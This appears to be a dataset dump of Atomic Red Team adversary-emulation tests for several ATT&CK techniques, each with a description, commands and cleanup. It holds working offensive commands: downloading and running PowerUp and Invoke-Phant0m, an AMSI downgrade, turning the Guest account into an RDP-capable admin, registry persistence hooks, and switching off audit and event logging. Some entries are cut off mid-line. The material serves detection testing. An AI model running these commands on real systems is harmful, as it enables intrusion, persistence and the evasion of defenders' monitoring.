deardaniel/secdata-raw huggingface dataset:
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: PowerUp Invoke-AllChecks
Platforms: windows
Executor: powershell

Description:
Check for privilege escalation paths using PowerUp from PowerShellMafia


Command:
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
iex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)
Invoke-AllChecks
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: Abuse Nslookup with DNS Records
Platforms: windows
Executor: powershell

Description:
Red teamer's avoid IEX and Invoke-WebRequest in your PowerShell commands. Instead, host a text record with a payload to compromise hosts.
[reference](https://twitter.com/jstrosch/status/[PII_REDACTED]57001729)


Command:
# creating a custom nslookup function that will indeed call nslookup but forces the result to be "whoami"
# this would not be part of a real attack but helpful for this simulation
function nslookup  { &"$env:windir\system32\nslookup.exe" @args | Out-Null; @("","whoami")}
powershell .(nslookup -q=txt example.com 8.8.8.8)[-1]
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: SOAPHound - Dump BloodHound Data
Platforms: windows
Executor: powershell

Description:
Dump BloodHound data using SOAPHound. Upon execution, BloodHound data will be dumped and stored in the specified output directory.
src: https://github.com/FalconForceTeam/SOAPHound


Command:
#{soaphound_path} --user #{user} --password #{password} --domain #{domain} --dc #{dc} --bhdump --cachefilename #{cachefilename} --outputdirectory #{outputdirectory}
Atomic Red Team — T1059.001: Command and Scripting Interpreter: PowerShell
Test: SOAPHound - Build Cache
Platforms: windows
Executor: powershell

Description:
Build cache using SOAPHound. Upon execution, a cache will be built and stored in the specified cache filename.
src: https://github.com/FalconForceTeam/SOAPHound


Command:
#{soaphound_path} --user $(#{user})@$(#{domain}) --password #{password} --dc #{dc} --buildcache --cachefilename #{cachefilename}
Atomic Red Team — T1689: Downgrade Attack
Test: ESXi - Change VIB acceptance level to CommunitySupported via PowerCLI
Platforms: linux
Executor: powershell

Description:
An adversary can change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria.This can be accomplished via PowerCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)


Command:
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
(Get-EsxCli -VMHost #{vm_host} -V2).software.acceptance.set.Invoke(@{level = "CommunitySupported"})
Disconnect-VIServer -Confirm:$false


Dependencies:
Check if VMWARE PowerCLI PowerShell Module is installed.
Atomic Red Team — T1689: Downgrade Attack
Test: ESXi - Change VIB acceptance level to CommunitySupported via ESXCLI
Platforms: windows
Executor: command_prompt

Description:
An adversary will change the VIB acceptance level to CommunitySupported to downgrade the acceptance criteria via ESXCLI. Afterwards an adversary may proceed to installing malicious VIBs on the host.
[Reference](https://www.mandiant.com/resources/blog/esxi-hypervisors-detection-hardening)


Command:
echo "" | "#{plink_file}" "#{vm_host}" -ssh  -l "#{vm_user}" -pw "#{vm_pass}" -m "#{cli_script}"


Dependencies:
Check if plink is available.
Atomic Red Team — T1689: Downgrade Attack
Test: PowerShell Version 2 Downgrade
Platforms: windows
Executor: powershell

Description:
Executes outdated PowerShell Version 2 which does not support security features like AMSI. By default the atomic will attempt to execute the cmdlet Invoke-Mimikatz whether it exists or not, as this cmdlet will be blocked by AMSI when active.

Command:
PowerShell -version 2 -command '#{v2_command}'

Dependencies:
Check if Version 2 is installed.
Atomic Red Team — T1078.001: Valid Accounts: Default Accounts
Test: Enable Guest account with RDP capability and admin privileges
Platforms: windows
Executor: command_prompt

Description:
After execution the Default Guest account will be enabled (Active) and added to Administrators and Remote Desktop Users Group,
and desktop will allow multiple RDP connections.


Command:
net user #{guest_user} /active:yes
net user #{guest_user} #{guest_password}
net localgroup #{local_admin_group} #{guest_user} /add
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /add
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
reg add "hklm\system\CurrentControlSet\Control\Terminal Server" /v "AllowTSConnections" /t REG_DWORD /d 0x1 /f

Cleanup:
net user #{guest_user} /active:no >nul 2>&1
net localgroup #{local_admin_group} #{guest_user} /delete >nul 2>&1
net localgroup "#{remote_desktop_users_group_name}" #{guest_user} /delete >nul 2>&1
if #{remove_rdp_access_during_cleanup} NEQ 1 (echo Note: set remove_rdp_access_during_cleanup input argu
Atomic Red Team — T1078.001: Valid Accounts: Default Accounts
Test: Activate Guest Account
Platforms: windows
Executor: command_prompt

Description:
The Adversaries can activate the default Guest user. The guest account is inactivated by default


Command:
net user #{guest_user} /active:yes


Cleanup:
net user #{guest_user} /active:no
Atomic Red Team — T1078.001: Valid Accounts: Default Accounts
Test: Enable Guest Account on macOS
Platforms: macos
Executor: sh

Description:
This test enables the guest account on macOS using sysadminctl utility.

Command:
sudo sysadminctl -guestAccount on

Cleanup:
sudo sysadminctl -guestAccount off
Atomic Red Team — T1648: Serverless Execution
Test: Lambda Function Hijack
Platforms: iaas:aws
Executor: powershell

Description:
Modify an existing Lambda function to execute arbitrary code.


Command:
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -SessionToken $session_token -AWSProfile $aws_profile -AWSRegion $region
Invoke-Terraform -TerraformCommand init -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1"
Invoke-Terraform -TerraformCommand apply -TerraformDirectory "PathToAtomicsFolder/T1648/src/T1648-1" -TerraformVariables @("profile=T1648-1", "region=$region")
Invoke-LambdaAttack -AWSProfile "T1648-1" -AWSRegion $region


Cleanup:
Import-Module "PathToAtomicsFolder/T1648/src/T1648-1/LambdaAttack.ps1" -Force
$access_key = "#{access_key}"
$secret_key = "#{secret_key}"
$session_token = "#{session_token}"
$aws_profile = "#{profile}"
$region = "#{region}"
Set-AWSAuthentication -AccessKey $access_key -SecretKey $secret_key -Session

Dependencies:
The AWS PowerShell module must be installed.

Terraform must be installed.
Atomic Red Team — T1546: Event Triggered Execution
Test: Persistence with Custom AutodialDLL
Platforms: windows
Executor: powershell

Description:
The DLL pointed to by the AutodialDLL registry key is loaded every time a process connects to the internet. Attackers can gain persistent code execution by setting this key to a DLL of their choice. 

The sample dll provided, AltWinSock2DLL, will launch the notepad process. Starting and stopping a web browser such as MS Edge or Chrome should result in the dll executing.
[Blog](https://www.mdsec.co.uk/2022/10/autodialdlling-your-way/)


Command:
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll


Cleanup:
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Services\WinSock2\Parameters -Name AutodialDLL -Value  $env:windir\system32\rasadhlp.dll

Dependencies:
AltWinSock2DLL DLL must exist on disk at specified at PathToAtomicsFolder\T1546\bin\AltWinSock2DLL.dll
Atomic Red Team — T1546: Event Triggered Execution
Test: HKLM - Persistence using CommandProcessor AutoRun key (With Elevation)
Platforms: windows
Executor: powershell

Description:
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)

Command:
New-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -Value "#{command}" -PropertyType "String"

Cleanup:
Remove-ItemProperty -Path "HKLM:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
Atomic Red Team — T1546: Event Triggered Execution
Test: HKCU - Persistence using CommandProcessor AutoRun key (Without Elevation)
Platforms: windows
Executor: powershell

Description:
An adversary may abuse the CommandProcessor AutoRun registry key to persist. Every time cmd.exe is executed, the command defined in the AutoRun key also gets executed.
[reference](https://devblogs.microsoft.com/oldnewthing/20071121-00/?p=24433)

Command:
$path = "HKCU:\Software\Microsoft\Command Processor"
if (!(Test-Path -path $path)){
  New-Item -ItemType Key -Path $path
}
New-ItemProperty -Path $path -Name "AutoRun" -Value "#{command}" -PropertyType "String"

Cleanup:
Remove-ItemProperty -Path "HKCU:\Software\Microsoft\Command Processor" -Name "AutoRun" -ErrorAction Ignore
Atomic Red Team — T1546: Event Triggered Execution
Test: WMI Invoke-CimMethod Start Process
Platforms: windows
Executor: powershell

Description:
The following Atomic will create a New-CimSession on a remote endpoint and start a process usnig Invoke-CimMethod.
This is a novel way to perform lateral movement or to start a remote process.
This does require WinRM to be enabled. The account performing the run will also need to be elevated.
A successful execution will stdout that the process started. On the remote endpoint, wmiprvse.exe will spawn the given process.


Command:
# Set the remote computer name and credentials
 $RemoteComputer = "#{dest}"
 $PWord = ConvertTo-SecureString -String "#{password}" -AsPlainText -Force
 $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList "#{username}", $Pword

 # Create a CIM session
 $CimSession = New-CimSession -ComputerName $RemoteComputer -Credential $Credential

 # Define the process you want to start
 $ProcessToStart = "#{process}"

 # Invoke the Create method on the Win32_Process class to start the process
 $Result = Invoke-CimMethod -CimSession $CimSession -ClassName Win32_Process -MethodName Create -Arguments @{CommandLine = $ProcessToStart}

 # Check the result
 if ($Result.ReturnValue -eq 0) {
     Write-Host "Process started successfully with Process ID: $($Result.ProcessI
Atomic Red Team — T1546: Event Triggered Execution
Test: Adding custom debugger for Windows Error Reporting
Platforms: windows
Executor: command_prompt

Description:
When applications hang, the Windows Error Reporting framework allows us to attach a debugger, if it is set up in the Registry.
Adding executable of choice will let the executable to auto-execute when during any application crash due to functioning of WER framework


Command:
reg add "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /t REG_SZ /d "C:\Windows\System32\notepad.exe" /f


Cleanup:
reg delete "HKLM\Software\Microsoft\Windows\Windows Error Reporting\Hangs" /v Debugger /f
Atomic Red Team — T1546: Event Triggered Execution
Test: Load custom DLL on mstsc execution
Platforms: windows
Executor: command_prompt

Description:
Adding ClxDllPath under Terminal Server Client subkey of HKLM hive with a path to custom DLL allows for DLL loading during execution of mstsc.exe


Command:
reg add "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /t REG_SZ /d "#{dll_inf}" /f


Cleanup:
reg delete "HKLM\SOFTWARE\Microsoft\Terminal Server Client" /v ClxDllPath /f
Atomic Red Team — T1546: Event Triggered Execution
Test: Persistence using automatic execution of custom DLL during RDP session
Platforms: windows
Executor: command_prompt

Description:
When remote desktop session is accepted, the system queries the key it queries the Registry key:HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin. 
If such key exists, the OS will attempt to read the Path value underneath.Once the Path is read, the DLL that it points to will be loaded via LoadLibrary.

Command:
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /v Path /t REG_SZ /d "C:\Windows\System32\amsi.dll" /f

Cleanup:
reg delete "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\AddIns\TestDVCPlugin" /f
Atomic Red Team — T1546: Event Triggered Execution
Test: Persistence via ErrorHandler.cmd script execution
Platforms: windows
Executor: powershell

Description:
Create persistence by triggering script within ErrorHandler.cmd upon the execution of specific binaries within the oobe directory.
Upon test execution, Setup.exe will be executed to further execute script within ErrorHandlercmd to launch Notepad.


Command:
Copy-Item -Path PathToAtomicsFolder\T1546\src\ErrorHandler.cmd -Destination C:\Windows\Setup\Scripts\ErrorHandler.cmd
C:\windows\System32\oobe\Setup


Cleanup:
Remove-Item C:\Windows\Setup\Scripts\ErrorHandler.cmd      

Dependencies:
ErrorHandler.cmd script must exist on disk at specified at PathToAtomicsFolder\T1546\bin\ErrorHandler.cmd
Atomic Red Team — T1546: Event Triggered Execution
Test: Persistence using STARTUP-PATH in MS-WORD
Platforms: windows
Executor: command_prompt

Description:
When Word starts, it searches for the registry key HKCU\Software\Microsoft\Office\<version>\Word\Options\STARTUP-PATH and if it exists,
it will treat it as a user specific start-up folder and load the contents of the folder with file extensions of .wll,.lnk,.dotm,.dot,.dotx
The registry key can be abused to load malware from the mentioned path. Reboot might be required.

Command:
reg add "HKCU\Software\Microsoft\Office\16.0\Word\Options" /v STARTUP-PATH /t REG_SZ /d "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\Recent" /f

Cleanup:
reg delete HKCU\Software\Microsoft\Office\16.0\Word\Options /v STARTUP-PATH /f
Atomic Red Team — T1578.001: Modify Cloud Compute Infrastructure: Create Snapshot
Test: AWS - Create Snapshot from EBS Volume
Platforms: iaas:aws
Executor: sh

Description:
Creates an EBS snapshot in AWS using the AWS CLI.
This simulates an adversary duplicating volume data via snapshots for persistence or exfiltration.


Command:
aws ec2 create-snapshot --region #{aws_region} --volume-id #{aws_volume_id} --description "Atomic Red Team Test Snapshot" --query "SnapshotId" --output text


Cleanup:
SNAPSHOT_ID=$(aws ec2 describe-snapshots --region #{aws_region} --filters "Name=volume-id,Values=#{aws_volume_id}" --query "Snapshots[0].SnapshotId" --output text)
if [ "$SNAPSHOT_ID" != "None" ]; then
  aws ec2 delete-snapshot --region #{aws_region} --snapshot-id "$SNAPSHOT_ID"
fi


Dependencies:
AWS CLI must be installed.
AWS CLI must be authenticated.
EBS volume must exist.
Atomic Red Team — T1578.001: Modify Cloud Compute Infrastructure: Create Snapshot
Test: Azure - Create Snapshot from Managed Disk
Platforms: iaas:azure
Executor: sh

Description:
Creates a snapshot of a managed disk in Azure using the Azure CLI.
Simulates adversary snapshotting behavior for persistence or data duplication.


Command:
az snapshot create --resource-group #{azure_resource_group} --name #{azure_snapshot_name} --source #{azure_disk_name} --location eastus


Cleanup:
az snapshot delete --resource-group #{azure_resource_group} --name #{azure_snapshot_name}


Dependencies:
Azure CLI must be installed.
Azure CLI must be authenticated.
Azure disk must exist.
Atomic Red Team — T1578.001: Modify Cloud Compute Infrastructure: Create Snapshot
Test: GCP - Create Snapshot from Persistent Disk
Platforms: iaas:gcp
Executor: sh

Description:
Creates a snapshot of a persistent disk in GCP using the gcloud CLI.
Emulates adversary behavior to gain access to volume data or replicate environment state.


Command:
gcloud compute snapshots create #{gcp_snapshot_name} --source-disk=#{gcp_disk_name} --zone=#{gcp_zone}


Cleanup:
gcloud compute snapshots delete #{gcp_snapshot_name} --quiet


Dependencies:
gcloud CLI must be installed.
gcloud CLI must be authenticated.
GCP disk must exist.
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Disable Windows IIS HTTP Logging
Platforms: windows
Executor: powershell

Description:
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)


Command:
C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:true


Cleanup:
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Disable Windows IIS HTTP Logging via PowerShell
Platforms: windows
Executor: powershell

Description:
Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union).
This action requires HTTP logging configurations in IIS to be unlocked.

Use the cleanup commands to restore some default auditpol settings (your original settings will be lost)


Command:
set-WebConfigurationProperty -PSPath "IIS:\Sites\#{website_name}\" -filter "system.webServer/httpLogging" -name dontLog -value $true


Cleanup:
if(Test-Path "C:\Windows\System32\inetsrv\appcmd.exe"){
  C:\Windows\System32\inetsrv\appcmd.exe set config "#{website_name}" /section:httplogging /dontLog:false *>$null
}
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Kill Event Log Service Threads
Platforms: windows
Executor: powershell

Description:
Kill Windows Event Log Service Threads using Invoke-Phant0m. WARNING you will need to restart PC to return to normal state with Log Service. https://artofpwn.com/phant0m-killing-windows-event-log.html

Command:
Set-ExecutionPolicy -Scope CurrentUser -ExecutionPolicy RemoteSigned -ErrorAction Ignore
$url = "https://raw.githubusercontent.com/hlldz/Invoke-Phant0m/f1396c411a867e1b471ef80c5c[PII_REDACTED]40e0/Invoke-Phant0m.ps1"
$output = "$env:TEMP\Invoke-Phant0m.ps1"
$wc = New-Object System.Net.WebClient
$wc.DownloadFile($url, $output)
cd $env:TEMP
Import-Module .\Invoke-Phant0m.ps1
Invoke-Phant0m


Cleanup:
Write-Host "NEED TO Restart-Computer TO ENSURE LOGGING RETURNS" -fore red
Remove-Item "$env:TEMP\Invoke-Phant0m.ps1" -ErrorAction Ignore
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Impair Windows Audit Log Policy
Platforms: windows
Executor: command_prompt

Description:
Disables the windows audit policy to prevent key host based telemetry being written into the event logs.
[Solarigate example](https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/)

Command:
auditpol /set /category:"Account Logon" /success:disable /failure:disable
auditpol /set /category:"Logon/Logoff" /success:disable /failure:disable
auditpol /set /category:"Detailed Tracking" /success:disable


Cleanup:
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Clear Windows Audit Policy Config
Platforms: windows
Executor: command_prompt

Description:
Clear the Windows audit policy using auditpol utility. This action would stop certain audit events from being recorded in the security log.

Command:
auditpol /clear /y
auditpol /remove /allusers


Cleanup:
auditpol /set /category:"Account Logon" /success:enable /failure:enable
auditpol /set /category:"Detailed Tracking" /success:enable
auditpol /set /category:"Logon/Logoff" /success:enable /failure:enable
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Disable Event Logging with wevtutil
Platforms: windows
Executor: command_prompt

Description:
Wevtutil can be used to disable logs. 
NOTE: RansomEXX ransomware uses this to disable Security logs post-encryption.


Command:
wevtutil sl "#{log_name}" /e:false


Cleanup:
wevtutil sl "#{log_name}" /e:true
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Makes Eventlog blind with Phant0m
Platforms: windows
Executor: command_prompt

Description:
Use [Phant0m](https://github.com/hlldz/Phant0m) to disable Eventlog


Command:
"#{file_name}"


Cleanup:
echo "Sorry you have to reboot"


Dependencies:
Phant0m.exe must exist on disk at specified location (#{file_name})
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Modify Event Log Channel Access Permissions via Registry - PowerShell
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Command:
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore 

Cleanup:
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:BAG:SYD:(A;;0x2;;;S-1-15-2-1)(A;;0x2;;;S-1-15-3-[PII_REDACTED][PII_REDACTED]67[PII_REDACTED][PII_REDACTED]-12[PII_REDACTED]10[PII_REDACTED][PII_REDACTED]187)(A;;0xf0007;;;SY)(A;;0x7;;;BA)(A;;0x7;;;SO)(A;;0x3;;;IU)(A;;0x3;;;SU)(A;;0x3;;;S-1-5-3)(A;;0x
Atomic Red Team — T1685.001: Disable or Modify Tools: Disable or Modify Windows Event Log
Test: Modify Event Log Channel Access Permissions via Registry 2 - PowerShell
Platforms: windows
Executor: powershell

Description:
This test simulates an adversary modifying access permissions for a Windows Event Log Channel by altering the "ChannelAccess" registry value. Specifically, it changes the Security Descriptor Definition Language (SDDL) string. These modifications can restrict or grant access to specific users or groups, potentially aiding in defense evasion by controlling who can view or modify a event log channel.
Upon execution, the user shouldn't be able to access the event log channel via the event viewer or via utilities such as "Get-EventLog" or "wevtutil".

Command:
New-Item -Path #{ChannelPath} -Force
Set-ItemProperty -Path #{ChannelPath} -Name "ChannelAccess" -Value "O:SYG:SYD:(D;;0x1;;;WD)"
Restart-Service -Name EventLog -Force -ErrorAction Ignore

Cleanup:
Remove-Item -Path #{ChannelPath} -Force
Restart-Service -Name EventLog -Force -ErrorAction Ignore